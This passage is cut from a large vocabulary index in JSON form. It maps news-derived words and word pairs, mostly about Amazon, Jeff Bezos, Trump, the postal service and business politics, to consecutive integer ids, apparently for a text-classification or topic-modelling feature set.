172029,\n  \"thwarted china\": 172030,\n  \"650px\": 172031,\n  \"unforeseen consequences\": 172032,\n  \"urban planning\": 172033,\n  \"population amazon\": 172034,\n  \"juggle work\": 172035,\n  \"groups partnership\": 172036,\n  \"practice probes\": 172037,\n  \"new crown\": 172038,\n  \"prize winners\": 172039,\n  \"damaged mailboxes\": 172040,\n  \"narrates\": 172041,\n  \"2019 jim\": 172042,\n  \"american assets\": 172043,\n  \"gang need\": 172044,\n  \"misleading tap\": 172045,\n  \"enjoyed victory\": 172046,\n  \"mackenzie walks\": 172047,\n  \"crossing borders\": 172048,\n  \"corporations comparable\": 172049,\n  \"house stance\": 172050,\n  \"florida\": 172051,\n  \"manager cherry\": 172052,\n  \"holy sepulcher\": 172053,\n  \"took walk\": 172054,\n  \"malouf hardie\": 172055,\n  \"process white\": 172056,\n  \"fundamentals\": 172057,\n  \"healthcare project\": 172058,\n  \"everywhereist\": 172059,\n  \"shippingeasy shipworks\": 172060,\n  \"curse\": 172061,\n  \"controversies including\": 172062,\n  \"allegations trump\": 172063,\n  \"dramatic act\": 172064,\n  \"music 2018\": 172065,\n  \"numerous caveats\": 172066,\n  \"publically amazon\": 172067,\n  \"institute\": 172068,\n  \"weeks earlier\": 172069,\n  \"00m\": 172070,\n  \"taking private\": 172071,\n  \"theirgrudging acceptance\": 172072,\n  \"ireland margo\": 172073,\n  \"davidoatkins\": 172074,\n  \"culprits\": 172075,\n  \"buying brands\": 172076,\n  \"allows storage\": 172077,\n  \"inexpensive service\": 172078,\n  \"fromthe\": 172079,\n  \"greek refugee\": 172080,\n  \"bridewater associates\": 172081,\n  \"consumer group\": 172082,\n  \"company subsidies\": 172083,\n  \"pro trump\": 172084,\n  \"sources images\": 172085,\n  \"timeless\": 172086,\n  \"power reporter\": 172087,\n  \"addiction brian\": 172088,\n  \"agencies\": 172089,\n  \"dietsch pool\": 172090,\n  \"change mass\": 172091,\n  \"killing jobs\": 172092,\n  \"bezos certainly\": 172093,\n  \"current increase\": 172094,\n  \"fact wsj\": 172095,\n  \"lifestyles freedoms\": 172096,\n  \"karenia\": 172097,\n  \"new draft\": 172098,\n  \"predictable life\": 172099,\n  \"bezos hires\": 172100,\n  \"level domain\": 172101,\n  \"paper reported\": 172102,\n  \"president tracks\": 172103,\n  \"lampert mnuchin\": 172104,\n  \"ideology resonate\": 172105,\n  \"overcome challenges\": 172106,\n  \"apple including\": 172107,\n  \"division decision\": 172108,\n  \"consumption problems\": 172109,\n  \"children held\": 172110,\n  \"foto sourceflickr\": 172111,\n  \"thing amazon\": 172112,\n  \"renegotiated contracts\": 172113,\n  \"godzilla\": 172114,\n  \"amending\": 172115,\n  \"took office\": 172116,\n  \"times apple\": 172117,\n  \"laura rosenberger\": 172118,\n  \"khan wouldn\": 172119,\n  \"abercrombie fitch\": 172120,\n  \"sanders amazon\": 172121,\n  \"netflix mother\": 172122,\n  \"limit chinese\": 172123,\n  \"moment ibama\": 172124,\n  \"people raises\": 172125,\n  \"anticonservative\": 172126,\n  \"public cnn\": 172127,\n  \"haunted\": 172128,\n  \"baseless claims\": 172129,\n  \"ceo dennis\": 172130,\n  \"postto\": 172131,\n  \"crap\": 172132,\n  \"amazon scam\": 172133,\n  \"devout wife\": 172134,\n  \"mockumentary web\": 172135,\n  \"precipitation\": 172136,\n  \"1990s long\": 172137,\n  \"easily frustrated\": 172138,\n  \"company planning\": 172139,\n  \"israeli sovereignty\": 172140,\n  \"2019 member\": 172141,\n  \"paced talks\": 172142,\n  \"sellers account\": 172143,\n  \"service universal\": 172144,\n  \"experiences cold\": 172145,\n  \"high long\": 172146,\n  \"president request\": 172147,\n  \"customercare sockslane\": 172148,\n  \"technical capabilities\": 172149,\n  \"cicilline previewed\": 172150,\n  \"nervous mean\": 172151,\n  \"phones realme\": 172152,\n  \"bolsonaro regime\": 172153,\n  \"chef awards\": 172154,\n  \"pentagon procurement\": 172155,\n  \"859 billion\": 172156,\n  \"noughts classic\": 172157,\n  \"suzanne park\": 172158,\n  \"public battles\": 172159,\n  \"reason folks\": 172160,\n  \"editorial plusmediasolutions\": 172161,\n  \"amazon brands\": 172162,\n  \"454 065\": 172163,\n  \"writes false\": 172164,\n  \"party brands\": 172165,\n  \"infinity pool\": 172166,\n  \"scenes lobbying\": 172167,\n  \"recently seeded\": 172168,\n  \"logjams\": 172169,\n  \"jobs anymore\": 172170,\n  \"green job\": 172171,\n  \"liz krueger\": 172172,\n  \"government nutrition\": 172173,\n  \"church tracks\": 172174,\n  \"taxvox opportunity\": 172175,\n  \"past spring\": 172176,\n  \"deliveries olaoluwa\": 172177,\n  \"psychologists\": 172178,\n  \"year forward\": 172179,\n  \"official says\": 172180,\n  \"wray fsg\": 172181,\n  \"children eat\": 172182,\n  \"inland empire\": 172183,\n  \"startups rely\": 172184,\n  \"irish company\": 172185,\n  \"suspends trading\": 172186,\n  \"swamp despite\": 172187,\n  \"grift\": 172188,\n  \"office losing\": 172189,\n  \"charge does\": 172190,\n  \"offering versions\": 172191,\n  \"house potential\": 172192,\n  \"slow process\": 172193,\n  \"795 words\": 172194,\n  \"posts spreadsheet\": 172195,\n  \"including stock\": 172196,\n  \"contagion\": 172197,\n  \"2018 2022\": 172198,\n  \"server719392\": 172199,\n  \"isn favorite\": 172200,\n  \"uncensored\": 172201,\n  \"porowski tan\": 172202,\n  \"wholefoods\": 172203,\n  \"bezos adding\": 172204,\n  \"anup\": 172205,\n  \"expect little\": 172206,\n  \"embody\": 172207,\n  \"error granted\": 172208,\n  \"014\": 172209,\n  \"site facebook\": 172210,\n  \"bowlers\": 172211,\n  \"rare display\": 172212,\n  \"margrethe vestager\": 172213,\n  \"republican opposition\": 172214,\n  \"asset light\": 172215,\n  \"settlement talks\": 172216,\n  \"benjy\": 172217,\n  \"ft worth\": 172218,\n  \"ford sounds\": 172219,\n  \"complex burdens\": 172220,\n  \"boxer floyd\": 172221,\n  \"constine techcrunch\": 172222,\n  \"validity\": 172223,\n  \"construction industry\": 172224,\n  \"maxinewaters accounts\": 172225,\n  \"secret cloud\": 172226,\n  \"insights delivered\": 172227,\n  \"pricing priority\": 172228,\n  \"operating montessori\": 172229,\n  \"disdains\": 172230,\n  \"persian gulf\": 172231,\n  \"stocks lower\": 172232,\n  \"weeklong\": 172233,\n  \"wind turbines\": 172234,\n  \"amazon biome\": 172235,\n  \"profanity\": 172236,\n  \"maniac\": 172237,\n  \"american republic\": 172238,\n  \"usps commerce\": 172239,\n  \"owns stake\": 172240,\n  \"weekly appearance\": 172241,\n  \"balmoral\": 172242,\n  \"overall budget\": 172243,\n  \"reform party\": 172244,\n  \"department shows\": 172245,\n  \"meddling amazon\": 172246,\n  \"wove safety\": 172247,\n  \"bezos pictures\": 172248,\n  \"correcting\": 172249,\n  \"videodescriptiondivid\": 172250,\n  \"kid started\": 172251,\n  \"symbol googl\": 172252,\n  \"products starting\": 172253,\n  \"getting fucked\": 172254,\n  \"usps current\": 172255,\n  \"ass cop\": 172256,\n  \"ecology isolationist\": 172257,\n  \"publishing industry\": 172258,\n  \"millions today\": 172259,\n  \"football leagues\": 172260,\n  \"online consumer\": 172261,\n  \"summit trump\": 172262,\n  \"berlin posthumous\": 172263,\n  \"page according\": 172264,\n  \"uk gathered\": 172265,\n  \"business selling\": 172266,\n  \"blame aoc\": 172267,\n  \"telecom equipment\": 172268,\n  \"tall\": 172269,\n  \"hanna\": 172270,\n  \"xn6mklcqow0\": 172271,\n  \"2017 writes\": 172272,\n  \"louisiana church\": 172273,\n  \"trump renewed\": 172274,\n  \"charlotte\": 172275,\n  \"deadly blazes\": 172276,\n  \"family beautiful\": 172277,\n  \"buying goods\": 172278,\n  \"environmental impacts\": 172279,\n  \"smart enemies\": 172280,\n  \"mackenzie grateful\": 172281,\n  \"reported hasn\": 172282,\n  \"expenses rose\": 172283,\n  \"governments producers\": 172284,\n  \"proposed business\": 172285,\n  \"reporters attack\": 172286,\n  \"freaky\": 172287,\n  \"policy limiting\": 172288,\n  \"film projects\": 172289,\n  \"wrong couple\": 172290,\n  \"wayfair nyse\": 172291,\n  \"special sensors\": 172292,\n  \"charity world\": 172293,\n  \"window window\": 172294,\n  \"friends node\": 172295,\n  \"monthly look\": 172296,\n  \"smothering\": 172297,\n  \"success trump\": 172298,\n  \"facing immune\": 172299,\n  \"electric switches\": 172300,\n  \"old usual\": 172301,\n  \"wage job\": 172302,\n  \"strategic options\": 172303,\n  \"include pixel\": 172304,\n  \"trimming\": 172305,\n  \"colorful\": 172306,\n  \"app developers\": 172307,\n  \"lrspbwmvbn good\": 172308,\n  \"pat\": 172309,\n  \"post critical\": 172310,\n  \"violating 2011\": 172311,\n  \"deep look\": 172312,\n  \"communication took\": 172313,\n  \"f6\": 172314,\n  \"auto jobs\": 172315,\n  \"age story\": 172316,\n  \"administration accused\": 172317,\n  \"cl\\u00f3vis rossi\": 172318,\n  \"panel cybersecurity\": 172319,\n  \"death squad\": 172320,\n  \"lives activist\": 172321,\n  \"law visit\": 172322,\n  \"surpass 100\": 172323,\n  \"collection authority\": 172324,\n  \"allow widespread\": 172325,\n  \"story border\": 172326,\n  \"parents disagree\": 172327,\n  \"sacred lands\": 172328,\n  \"amazon play\": 172329,\n  \"registration strategy\": 172330,\n  \"vale dam\": 172331,\n  \"american national\": 172332,\n  \"business fox\": 172333,\n  \"hp_listb_pos2\": 172334,\n  \"smith took\": 172335,\n  \"tax obligations\": 172336,\n  \"donnell know\": 172337,\n  \"considered include\": 172338,\n  \"summer browbeating\": 172339,\n  \"sleepless\": 172340,\n  \"westminster\": 172341,\n  \"mills assume\": 172342,\n  \"lily\": 172343,\n  \"won provide\": 172344,\n  \"nicosia\": 172345,\n  \"brings gratitude\": 172346,\n  \"flotus tensions\": 172347,\n  \"relative\": 172348,\n  \"monthly fee\": 172349,\n  \"career staff\": 172350,\n  \"mitigate concerns\": 172351,\n  \"wag dog\": 172352,\n  \"terrible horrible\": 172353,\n  \"massive\": 172354,\n  \"car using\": 172355,\n  \"poll survey\": 172356,\n  \"ceo think\": 172357,\n  \"accused legitimate\": 172358,\n  \"ashtyn\": 172359,\n  \"bezos dominated\": 172360,\n  \"completely fund\": 172361,\n  \"amit shah\": 172362,\n  \"enforce iran\": 172363,\n  \"months denouncing\": 172364,\n  \"total fourth\": 172365,\n  \"conspiratorial understanding\": 172366,\n  \"ordered spicer\": 172367,\n  \"say want\": 172368,\n  \"year hawaiians\": 172369,\n  \"autonomous weapons\": 172370,\n  \"florida school\": 172371,\n  \"npr amazon\": 172372,\n  \"museum public\": 172373,\n  \"times claiming\": 172374,\n  \"market discipline\": 172375,\n  \"acbff 0305\": 172376,\n  \"manufacture\": 172377,\n  \"entity entirely\": 172378,\n  \"chief international\": 172379,\n  \"weekend reads\": 172380,\n  \"gary labarbera\": 172381,\n  \"figure according\": 172382,\n  \"rebuked sanders\": 172383,\n  \"mohamed\": 172384,\n  \"67x respectively\": 172385,\n  \"presents challenge\": 172386,\n  \"350 points\": 172387,\n  \"picoult check\": 172388,\n  \"material cnn\": 172389,\n  \"______ scott\": 172390,\n  \"zinke donor\": 172391,\n  \"author austin\": 172392,\n  \"beast carter\": 172393,\n  \"conference press\": 172394,\n  \"security matters\": 172395,\n  \"counter argument\": 172396,\n  \"amazon indiana\": 172397,\n  \"deal americans\": 172398,\n  \"court intrigue\": 172399,\n  \"institutional investors\": 172400,\n  \"peele\": 172401,\n  \"generate new\": 172402,\n  \"eat laundry\": 172403,\n  \"brazil amazon\": 172404,\n  \"fencing\": 172405,\n  \"divorce month\": 172406,\n  \"blowup\": 172407,\n  \"employees happened\": 172408,\n  \"story vandal\": 172409,\n  \"newark raleigh\": 172410,\n  \"business included\": 172411,\n  \"rummage\": 172412,\n  \"hasn directly\": 172413,\n  \"morning futures\": 172414,\n  \"postage printing\": 172415,\n  \"massive surge\": 172416,\n  \"kept pace\": 172417,\n  \"trump tries\": 172418,\n  \"nickname jeff\": 172419,\n  \"industrials struggled\": 172420,\n  \"dinghy\": 172421,\n  \"rival livingsocial\": 172422,\n  \"newspaper adidas\": 172423,\n  \"company holds\": 172424,\n  \"368 shares\": 172425,\n  \"autofiction\": 172426,\n  \"staff criticising\": 172427,\n  \"cortez tweeted\": 172428,\n  \"hog stomach\": 172429,\n  \"executives rejected\": 172430,\n  \"argue jeff\": 172431,\n  \"stop moping\": 172432,\n  \"tv xbox\": 172433,\n  \"karp\": 172434,\n  \"old woman\": 172435,\n  \"growing caravan\": 172436,\n  \"donna shalala\": 172437,\n  \"environment health\": 172438,\n  \"debt held\": 172439,\n  \"lightweight service\": 172440,\n  \"porsche\": 172441,\n  \"health superbugs\": 172442,\n  \"powell jobs\": 172443,\n  \"hewitt\": 172444,\n  \"outright calls\": 172445,\n  \"throat\": 172446,\n  \"probably doubly\": 172447,\n  \"baseless claim\": 172448,\n  \"immunity attaches\": 172449,\n  \"tarmac\": 172450,\n  \"preston bezos\": 172451,\n  \"assuage\": 172452,\n  \"striking contrast\": 172453,\n  \"dumber\": 172454,\n  \"coffee culture\": 172455,\n  \"amazon ditched\": 172456,\n  \"old people\": 172457,\n  \"aerospace manufacturer\": 172458,\n  \"government bloomberg\": 172459,\n  \"smallest chains\": 172460,\n  \"individual analyst\": 172461,\n  \"questions challenge\": 172462,\n  \"licensing technologies\": 172463,\n  \"having problems\": 172464,\n  \"merchants sell\": 172465,\n  \"make ace\": 172466,\n  \"dagger\": 172467,\n  \"just finished\": 172468,\n  \"lawyer work\": 172469,\n  \"remember luminaid\": 172470,\n  \"noted doj\": 172471,\n  \"shuang told\": 172472,\n  \"abiding citizens\": 172473,\n  \"program praised\": 172474,\n  \"just congestion\": 172475,\n  \"amazon wishlist\": 172476,\n  \"324 million\": 172477,\n  \"runways\": 172478,\n  \"cuomo whining\": 172479,\n  \"b2c commerce\": 172480,\n  \"successful screen\": 172481,\n  \"power worldwide\": 172482,\n  \"merchant banking\": 172483,\n  \"affirmatively publicize\": 172484,\n  \"hallows\": 172485,\n  \"shares\": 172486,\n  \"release ratings\": 172487,\n  \"political appointee\": 172488,\n  \"environmental world\": 172489,\n  \"enquirer\": 172490,\n  \"denied playing\": 172491,\n  \"experts explain\": 172492,\n  \"office operations\": 172493,\n  \"indecent working\": 172494,\n  \"bloomberg efforts\": 172495,\n  \"writes stephen\": 172496,\n  \"actually apply\": 172497,\n  \"institution oesn\": 172498,\n  \"concerns rise\": 172499,\n  \"heeds bernie\": 172500,\n  \"includes different\": 172501,\n  \"help candidate\": 172502,\n  \"nutritional supplements\": 172503,\n  \"137 ct\": 172504,\n  \"fight backstill\": 172505,\n  \"brazilian interests\": 172506,\n  \"just months\": 172507,\n  \"city resident\": 172508,\n  \"bowl amazon\": 172509,\n  \"awesome questions\": 172510,\n  \"samhomewood\": 172511,\n  \"finish bought\": 172512,\n  \"lago employee\": 172513,\n  \"mutual funds\": 172514,\n  \"raids conducted\": 172515,\n  \"standards wildlife\": 172516,\n  \"saying listen\": 172517,\n  \"catchment\": 172518,\n  \"heat rising\": 172519,\n  \"bankshares usa\": 172520,\n  \"pentagon approach\": 172521,\n  \"hurt freight\": 172522,\n  \"operate fleet\": 172523,\n  \"mccain reaction\": 172524,\n  \"china undercut\": 172525,\n  \"tenfold\": 172526,\n  \"iww\": 172527,\n  \"quite battering\": 172528,\n  \"presidential memorandum\": 172529,\n  \"whatsapp\": 172530,\n  \"safehaven\": 172531,\n  \"shocking blog\": 172532,\n  \"downzone parts\": 172533,\n  \"businesses sold\": 172534,\n  \"jolley whistleblower\": 172535,\n  \"worth asking\": 172536,\n  \"selling trump\": 172537,\n  \"oversight pogo\": 172538,\n  \"shaking\": 172539,\n  \"day earlier\": 172540,\n  \"middle finger\": 172541,\n  \"fucking world\": 172542,\n  \"pasquale professor\": 172543,\n  \"nathanson\": 172544,\n  \"told ibd\": 172545,\n  \"pipeline capacity\": 172546,\n  \"schiff added\": 172547,\n  \"peddling propaganda\": 172548,\n  \"ruralist tereza\": 172549,\n  \"package volume\": 172550,\n  \"music entertainment\": 172551,\n  \"function r4ee\": 172552,\n  \"experts expect\": 172553,\n  \"stronghold\": 172554,\n  \"regarding electronic\": 172555,\n  \"army pilots\": 172556,\n  \"872\": 172557,\n  \"remodel gary\": 172558,\n  \"launch film\": 172559,\n  \"1b\": 172560,\n  \"broward voters\": 172561,\n  \"subsidization encountered\": 172562,\n  \"cnn reported\": 172563,\n  \"pending\": 172564,\n  \"calmed wall\": 172565,\n  \"openly\": 172566,\n  \"better movie\": 172567,\n  \"hilfiger\": 172568,\n  \"sees possibility\": 172569,\n  \"global heating\": 172570,\n  \"sell shirts\": 172571,\n  \"twitter calling\": 172572,\n  \"appellate court\": 172573,\n  \"samad\": 172574,\n  \"putting traditional\": 172575,\n  \"acquiring flipkarts\": 172576,\n  \"fueling speculation\": 172577,\n  \"refugee ban\": 172578,\n  \"pac\": 172579,\n  \"illegal immigration\": 172580,\n  \"managerial bandwidth\": 172581,\n  \"structure capabilities\": 172582,\n  \"marley\": 172583,\n  \"morning html\": 172584,\n  \"schweitzer told\": 172585,\n  \"included washington\": 172586,\n  \"immense press\": 172587,\n  \"palantir founded\": 172588,\n  \"rickards\": 172589,\n  \"china wrote\": 172590,\n  \"653\": 172591,\n  \"snapchat stories\": 172592,\n  \"martel set\": 172593,\n  \"sixth worth\": 172594,\n  \"zappos amazon\": 172595,\n  \"eardrums\": 172596,\n  \"playbook news\": 172597,\n  \"organization going\": 172598,\n  \"say analysts\": 172599,\n  \"enable students\": 172600,\n  \"null gc_custom_credit\": 172601,\n  \"bespoke suits\": 172602,\n  \"overhead\": 172603,\n  \"post alleged\": 172604,\n  \"mika case\": 172605,\n  \"income memo\": 172606,\n  \"house east\": 172607,\n  \"financing exception\": 172608,\n  \"critic meg\": 172609,\n  \"100 legal\": 172610,\n  \"revise budget\": 172611,\n  \"potentially big\": 172612,\n  \"future battle\": 172613,\n  \"revenue collaborating\": 172614,\n  \"republican nationalist\": 172615,\n  \"recoverable ice\": 172616,\n  \"post republican\": 172617,\n  \"big revelation\": 172618,\n  \"ambassadors\": 172619,\n  \"optimization\": 172620,\n  \"science women\": 172621,\n  \"losing momentum\": 172622,\n  \"presidency written\": 172623,\n  \"bezos want\": 172624,\n  \"described miller\": 172625,\n  \"major soy\": 172626,\n  \"bs_link\": 172627,\n  \"right gulftimes\": 172628,\n  \"broadway\": 172629,\n  \"goodfellas\": 172630,\n  \"1028et copyright\": 172631,\n  \"style icon\": 172632,\n  \"leave facebook\": 172633,\n  \"trump decried\": 172634,\n  \"wayfair justice\": 172635,\n  \"grassroots\": 172636,\n  \"amafozz headquarters\": 172637,\n  \"friendships\": 172638,\n  \"myrtle lewis\": 172639,\n  \"better search\": 172640,\n  \"legislation demonstrates\": 172641,\n  \"urgent\": 172642,\n  \"insolvency trump\": 172643,\n  \"exxonmobil\": 172644,\n  \"sponsoring local\": 172645,\n  \"deborah\": 172646,\n  \"federal deficits\": 172647,\n  \"center health\": 172648,\n  \"billion convenience\": 172649,\n  \"lobby urged\": 172650,\n  \"organization asked\": 172651,\n  \"nicknamed\": 172652,\n  \"media wants\": 172653,\n  \"food companies\": 172654,\n  \"negotiating process\": 172655,\n  \"board immediately\": 172656,\n  \"cloud investors\": 172657,\n  \"sucr\\u00e9\": 172658,\n  \"introduced\": 172659,\n  \"fokyrqfyl5\": 172660,\n  \"morici monopoly\": 172661,\n  \"company posted\": 172662,\n  \"intensity\": 172663,\n  \"celeb\": 172664,\n  \"free amazon\": 172665,\n  \"potential\": 172666,\n  \"580\": 172667,\n  \"city node\": 172668,\n  \"agenda cnn\": 172669,\n  \"making airborne\": 172670,\n  \"digital competition\": 172671,\n  \"branson\": 172672,\n  \"unit investment\": 172673,\n  \"day 2018\": 172674,\n  \"primary port\": 172675,\n  \"backstabbing disaster\": 172676,\n  \"story recounted\": 172677,\n  \"curtail major\": 172678,\n  \"ratesal jazeera\": 172679,\n  \"apple market\": 172680,\n  \"parliamentary\": 172681,\n  \"hockey team\": 172682,\n  \"economy ellison\": 172683,\n  \"analysts concede\": 172684,\n  \"huma\": 172685,\n  \"ftse\": 172686,\n  \"shyam patil\": 172687,\n  \"noisy\": 172688,\n  \"deputy tereza\": 172689,\n  \"jose antonio\": 172690,\n  \"commission hate\": 172691,\n  \"defiance press\": 172692,\n  \"wage writes\": 172693,\n  \"ranting today\": 172694,\n  \"cena\": 172695,\n  \"modern middle\": 172696,\n  \"campaigning style\": 172697,\n  \"online offerings\": 172698,\n  \"actually details\": 172699,\n  \"weren explicitly\": 172700,\n  \"company tsxv\": 172701,\n  \"projecting earnings\": 172702,\n  \"city read\": 172703,\n  \"sea john\": 172704,\n  \"reported 136\": 172705,\n  \"carjacker\": 172706,\n  \"people downloaded\": 172707,\n  \"rural commerce\": 172708,\n  \"lobbied\": 172709,\n  \"bulldozed\": 172710,\n  \"ceos rallying\": 172711,\n  \"know king\": 172712,\n  \"congregate\": 172713,\n  \"goggin reports\": 172714,\n  \"watch looking\": 172715,\n  \"dyslexia\": 172716,\n  \"president doesn\": 172717,\n  \"imported vehicles\": 172718,\n  \"news tech\": 172719,\n  \"trump dogged\": 172720,\n  \"deutch member\": 172721,\n  \"asking postmaster\": 172722,\n  \"story tax\": 172723,\n  \"flier asks\": 172724,\n  \"handmade\": 172725,\n  \"customers access\": 172726,\n  \"suicidal\": 172727,\n  \"internet challenge\": 172728,\n  \"states sale\": 172729,\n  \"ages ago\": 172730,\n  \"privacy law\": 172731,\n  \"prime truck\": 172732,\n  \"new drivers\": 172733,\n  \"lower guidance\": 172734,\n  \"kaplan calls\": 172735,\n  \"mst\": 172736,\n  \"balance action\": 172737,\n  \"washington distributed\": 172738,\n  \"queens pearlstein\": 172739,\n  \"cultural marketing\": 172740,\n  \"shaven\": 172741,\n  \"worrisome\": 172742,\n  \"los personas\": 172743,\n  \"microscope president\": 172744,\n  \"work immediately\": 172745,\n  \"investigations moving\": 172746,\n  \"nasdaq csco\": 172747,\n  \"counterfeit\": 172748,\n  \"salles claimed\": 172749,\n  \"bezos pose\": 172750,\n  \"boundaries bit\": 172751,\n  \"national value\": 172752,\n  \"widely read\": 172753,\n  \"quiet republicans\": 172754,\n  \"capture nearly\": 172755,\n  \"standing ally\": 172756,\n  \"attack shares\": 172757,\n  \"sessions socialist\": 172758,\n  \"employee activists\": 172759,\n  \"psc board\": 172760,\n  \"2020 bernie\": 172761,\n  \"helping homeless\": 172762,\n  \"democratic nomination\": 172763,\n  \"harington\": 172764,\n  \"toll taken\": 172765,\n  \"market value\": 172766,\n  \"customers say\": 172767,\n  \"amazon canceling\": 172768,\n  \"unintentionally\": 172769,\n  \"trends unfold\": 172770,\n  \"certificate stole\": 172771,\n  \"buy minor\": 172772,\n  \"sawamazon\": 172773,\n  \"story mentions\": 172774,\n  \"public distrust\": 172775,\n  \"revenue outlook\": 172776,\n  \"asymmetric information\": 172777,\n  \"reduced rate\": 172778,\n  \"negotiated rate\": 172779,\n  \"ebooks\": 172780,\n  \"russians detailing\": 172781,\n  \"amazon\": 172782,\n  \"following bezos\": 172783,\n  \"security challenges\": 172784,\n  \"billionaire announced\": 172785,\n  \"amazon rx\": 172786,\n  \"iphone design\": 172787,\n  \"congressional opponent\": 172788,\n  \"secrets bipartisan\": 172789,\n  \"grants primarily\": 172790,\n  \"amazon newyork\": 172791,\n  \"pivotal moment\": 172792,\n  \"dangling tax\": 172793,\n  \"post liberal\": 172794,\n  \"women walked\": 172795,\n  \"treasured freedoms\": 172796,\n  \"oracle\": 172797,\n  \"initial list\": 172798,\n  \"impersonal\": 172799,\n  \"includes using\": 172800,\n  \"lavish incentives\": 172801,\n  \"corporate disclosures\": 172802,\n  \"trading firm\": 172803,\n  \"cartel\": 172804,\n  \"way drugs\": 172805,\n  \"little disappointing\": 172806,\n  \"attorneys threatened\": 172807,\n  \"login_standalone\": 172808,\n  \"chief medical\": 172809,\n  \"republicans far\": 172810,\n  \"lipton nightly\": 172811,\n  \"bezos knows\": 172812,\n  \"service customer\": 172813,\n  \"trump carried\": 172814,\n  \"stephen braun\": 172815,\n  \"tips comments\": 172816,\n  \"family led\": 172817,\n  \"water racked\": 172818,\n  \"offers\": 172819,\n  \"offset sanaa\": 172820,\n  \"summer job\": 172821,\n  \"just maybe\": 172822,\n  \"friendly place\": 172823,\n  \"extremely competitive\": 172824,\n  \"legitimatized\": 172825,\n  \"funded cronyism\": 172826,\n  \"miguel angel\": 172827,\n  \"biased whatsoever\": 172828,\n  \"amazon comfort\": 172829,\n  \"usatoda trump\": 172830,\n  \"boosting pay\": 172831,\n  \"indians parameswaran\": 172832,\n  \"activity north\": 172833,\n  \"financially strapped\": 172834,\n  \"immigrant surveillance\": 172835,\n  \"particular postal\": 172836,\n  \"lumish\": 172837,\n  \"winfrey endorsed\": 172838,\n  \"tweets general\": 172839,\n  \"living party\": 172840,\n  \"persistent criticisms\": 172841,\n  \"line procuring\": 172842,\n  \"maybe trading\": 172843,\n  \"influencing elections\": 172844,\n  \"date firm\": 172845,\n  \"clip president\": 172846,\n  \"extreme views\": 172847,\n  \"shares wright\": 172848,\n  \"kindle revenue\": 172849,\n  \"service fedex\": 172850,\n  \"don exceed\": 172851,\n  \"nomadland\": 172852,\n  \"diana dwyre\": 172853,\n  \"include limiting\": 172854,\n  \"government penchant\": 172855,\n  \"penguin books\": 172856,\n  \"amazon cinder\": 172857,\n  \"kids source\": 172858,\n  \"brand perfumania\": 172859,\n  \"bezos criticised\": 172860,\n  \"renowned epidemiologist\": 172861,\n  \"neutrality rules\": 172862,\n  \"origin space\": 172863,\n  \"day build\": 172864,\n  \"economic footprint\": 172865,\n  \"devastating murder\": 172866,\n  \"local footprint\": 172867,\n  \"zuker reading\": 172868,\n  \"citing draft\": 172869,\n  \"held accountable\": 172870,\n  \"player option\": 172871,\n  \"america subsidiary\": 172872,\n  \"president dick\": 172873,\n  \"startup costs\": 172874,\n  \"zone tales\": 172875,\n  \"department added\": 172876,\n  \"john pletz\": 172877,\n  \"conjugally\": 172878,\n  \"far outweighs\": 172879,\n  \"millennials don\": 172880,\n  \"klean strip\": 172881,\n  \"mysterious pro\": 172882,\n  \"ted anthony\": 172883,\n  \"yuge\": 172884,\n  \"bloomberg tim\": 172885,\n  \"identities including\": 172886,\n  \"video embedded\": 172887,\n  \"career site\": 172888,\n  \"scholar lina\": 172889,\n  \"new employees\": 172890,\n  \"investor steven\": 172891,\n  \"681\": 172892,\n  \"post nypost\": 172893,\n  \"indirectly good\": 172894,\n  \"really accelerated\": 172895,\n  \"philadelphia cash\": 172896,\n  \"gain following\": 172897,\n  \"portfolio making\": 172898,\n  \"inside stock\": 172899,\n  \"house hedgerow\": 172900,\n  \"4bn\": 172901,\n  \"2017 james\": 172902,\n  \"grace commission\": 172903,\n  \"today announced\": 172904,\n  \"goldmacher\": 172905,\n  \"pounce\": 172906,\n  \"krasinski takes\": 172907,\n  \"noah\": 172908,\n  \"anna omelchenko\": 172909,\n  \"immigration shifts\": 172910,\n  \"oates\": 172911,\n  \"sydney wade\": 172912,\n  \"food stamp\": 172913,\n  \"workers draw\": 172914,\n  \"titans round\": 172915,\n  \"afternoon following\": 172916,\n  \"tabloid ending\": 172917,\n  \"blasio spec\": 172918,\n  \"slammed bezos\": 172919,\n  \"service arguing\": 172920,\n  \"tony pulling\": 172921,\n  \"9th spot\": 172922,\n  \"global production\": 172923,\n  \"amzn shares\": 172924,\n  \"trump videocmsurl\": 172925,\n  \"complaints including\": 172926,\n  \"great entry\": 172927,\n  \"amazonbasics label\": 172928,\n  \"gannett jon\": 172929,\n  \"yes norah\": 172930,\n  \"seng drop\": 172931,\n  \"straddle middle\": 172932,\n  \"emergency motion\": 172933,\n  \"prioritizing industry\": 172934,\n  \"expressway\": 172935,\n  \"twitter recently\": 172936,\n  \"restore party\": 172937,\n  \"hurt america\": 172938,\n  \"institutionally\": 172939,\n  \"nicely trump\": 172940,\n  \"pursue amazon\": 172941,\n  \"field narrowed\": 172942,\n  \"neoliberalism climate\": 172943,\n  \"landowners\": 172944,\n  \"chairman mark\": 172945,\n  \"banks nonprofits\": 172946,\n  \"jocelyn wildenstein18\": 172947,\n  \"given away\": 172948,\n  \"drivers entering\": 172949,\n  \"police cool\": 172950,\n  \"steady stream\": 172951,\n  \"graduation goals\": 172952,\n  \"1833\": 172953,\n  \"sandra lee\": 172954,\n  \"government support\": 172955,\n  \"map tracking\": 172956,\n  \"day life\": 172957,\n  \"contrarian investor\": 172958,\n  \"inhouse\": 172959,\n  \"gmt alex\": 172960,\n  \"quarterly numbers\": 172961,\n  \"menswear line\": 172962,\n  \"mark viverito\": 172963,\n  \"charles\": 172964,\n  \"successful postal\": 172965,\n  \"blockchain remains\": 172966,\n  \"grade 2018\": 172967,\n  \"smarsh traces\": 172968,\n  \"post declined\": 172969,\n  \"roughly half\": 172970,\n  \"law defines\": 172971,\n  \"videocardcontents descriptiontext\": 172972,\n  \"trail spurred\": 172973,\n  \"commission luminaid\": 172974,\n  \"representatives passed\": 172975,\n  \"nonpartisan pew\": 172976,\n  \"enormous numbers\": 172977,\n  \"enquirer committed\": 172978,\n  \"washington milestone\": 172979,\n  \"multiple daily\": 172980,\n  \"filed accusations\": 172981,\n  \"reality lgbtq\": 172982,\n  \"tax shelters\": 172983,\n  \"j8i h0\": 172984,\n  \"track household\": 172985,\n  \"edition blue\": 172986,\n  \"epa trump\": 172987,\n  \"readers flocking\": 172988,\n  \"closure\": 172989,\n  \"addicting\": 172990,\n  \"otr received\": 172991,\n  \"revenue operating\": 172992,\n  \"hosed\": 172993,\n  \"korean war\": 172994,\n  \"american company\": 172995,\n  \"ship pharmaceuticals\": 172996,\n  \"cost outlook\": 172997,\n  \"private collection\": 